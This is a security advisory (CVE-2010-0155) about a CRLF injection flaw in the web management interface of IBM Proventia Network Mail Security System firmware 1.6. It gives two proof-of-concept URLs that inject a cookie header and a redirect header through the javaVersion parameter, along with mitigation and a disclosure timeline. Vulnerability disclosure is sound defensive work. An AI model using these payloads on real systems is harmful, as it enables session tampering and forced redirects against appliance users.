crlf注入漏洞 java解决办法_CVE-2010-0155 IBM Proventia Network Mail Security System Local Management Interfac...

Security Advisory:MVSA-10-009 / CVE-2010-0155

Vendor: IBM

Products: Proventia Network Mail Security System

Vulnerabilities: CRLF Injection

Risk: Medium

Attack Vector: From Remote

Authentication:Required

Reference:http://www.ventuneac.net/security-advisories/MVSA-10-009

Description

Web-based Local Management Interface (LMI) of IBM Proventia Network Mail Security System appliance (firmware 1.6) is vulnerable to a CRLF Injection vulnerability. When exploited by an authenticated attacker, such vulnerability could lead to compromising the security of the appliance, allowing injection of custom HTTP cookies, forcing external redirects, potential HTTP Response Splitting attacks, etc.

The affected resource is not part of the IBM PNMSS firmware 2.5.

By manipulating the javaVersion parameter of load.php resource, an authenticated attacker can perform the attacks above.

The following exploit allows injecting custom cookies used by the client browser during a valid HTTP session:

url_placeholder/load.php?browVerOK=true&browVerPerfect=false&javaVersion

=any%0D%0ASet-cookie:%20MyOwnCookie=SOME_DATA_HERE&javaVendor=Sun%20Microsystems%20Inc.&javaEnabled=true&welcome=true&detectionFlag=1&popupBlocked=no

The following exploit allows forcing external browser redirects:

url_placeholder/load.php?browVerOK=true&browVerPerfect=false&javaVersion

=any%0D%0ALocation:%20http://www.google.com%0D%0A&javaVendor=Sun%20Microsystems%20Inc.&javaEnabled=true&welcome=true&detectionFlag=1&popupBlocked=no

Affected Versions

IBM Proventia Network Mail Security System - virtual appliance (firmware 1.6)

Mitigation

Vendor recommends upgrading to PNMSS firmware 2.5 or later.

Alternatively, please contact IBM for technical support.

Disclosure Timeline

2009, November 07: Vulnerabilities discovered and documented

2009, November 08: Notification sent to IBM

2009, November 09: IBM acknowledges receiving the report

2010, September 12: MVSA-10-009 advisory published.

Credits

Dr. Marian Ventuneac

http://ventuneac.net